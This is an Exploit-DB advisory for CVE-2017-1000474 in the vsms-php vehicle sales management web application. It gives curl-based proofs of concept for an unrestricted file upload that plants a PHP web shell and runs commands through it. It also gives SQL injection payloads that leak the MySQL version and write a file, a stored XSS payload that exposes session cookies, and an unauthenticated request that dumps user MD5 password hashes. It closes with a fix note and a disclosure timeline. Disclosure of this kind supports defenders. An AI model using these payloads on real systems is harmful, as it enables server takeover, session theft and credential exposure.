EDB-ID: 44318 | Author: Sing | Published: 2018-03-20 | CVE: CVE-2017-1000474 | Type: Webapps | Platform: PHP | Vulnerable App: N/A | # Google Dork: N/A
# Date: 16-3-2018
# Exploit Author: Sing
# Vendor Homepage: https://sourceforge.net/projects/vsms-php/?source=typ_redirect
# Software Link: https://sourceforge.net/projects/vsms-php/?source=typ_redirect
# Version: 07/2017 (possible v1.2)
# Tested on: CentOS 6.9
# CVE : CVE-2017-1000474
1 login/vehicles.php: Lack of file type filter enabling attacker to upload PHP scripts that can later be executed
POC
curl -i -b 'PHPSESSID=58csdp0as3lvqapqjesp67tr05' -F 'submit=submit' -F support_images[]=@./getShell.php http://10.0.0.14/soyket-vsms-php-63b563b/login/vehicles.php
The malicious PHP file has been uploaded to /var/www/html/soyket-vsms-php-63b563b/login/uploads. Now, browse to the location and note the file name. In my vase it's 1510529218getShell.php. To execute it do
curl http://10.0.0.14/soyket-vsms-php-63b563b/login/uploads/1510529218getShell.php?cmd=id
2 login/profile.php: Found SQLI in the Date of Birth text box.
POC
Paste the below POC into the birth date text box and update. A mysql version will appear in the Position box
2015-11-30',u_position=@@version,u_type='Employee' WHERE u_email='[email protected]';-- -
3 login/Actions.php: Found Stored XSS in manufacturer_name
POC
curl http://10.0.0.14/soyket-vsms-php-63b563b/login/Actions.php?action=create -d 'manufacturer_name=<script>alert(document.cookie)</script>'
Now when user's browse to login/model.php page, he/she will see an alert with the session cookie
http://10.0.0.14/soyket-vsms-php-63b563b/login/model.php
4 login/Actions.php (Multiple vulnerabilities)
POC (SQLI)
curl http://10.0.0.14/soyket-vsms-php-63b563b/login/Actions.php?action=checkuser -d "[email protected]' union select 'SQLIIII' into outfile'/tmp/stuff.txt"
This SQLI will write SQLIIII to /tmp/stuff.txt.
POC (Information Leak
curl http://10.0.0.14/soyket-vsms-php-63b563b/login/Actions.php?action=listu
This gives anonymous user full list of the users table with unsalted MD5 hash passwords.
5. Solution:
The author notified of a new version with fixes (possibly v1.3). It can be found at vendor’s home page
https://sourceforge.net/projects/vsms-php/?source=typ_redirect
Time Line
Author was notified of the vulnerabilities on 27-01-2018
Author notified of the new updates on 14-03-2018
Exploit released on 16-03-2018
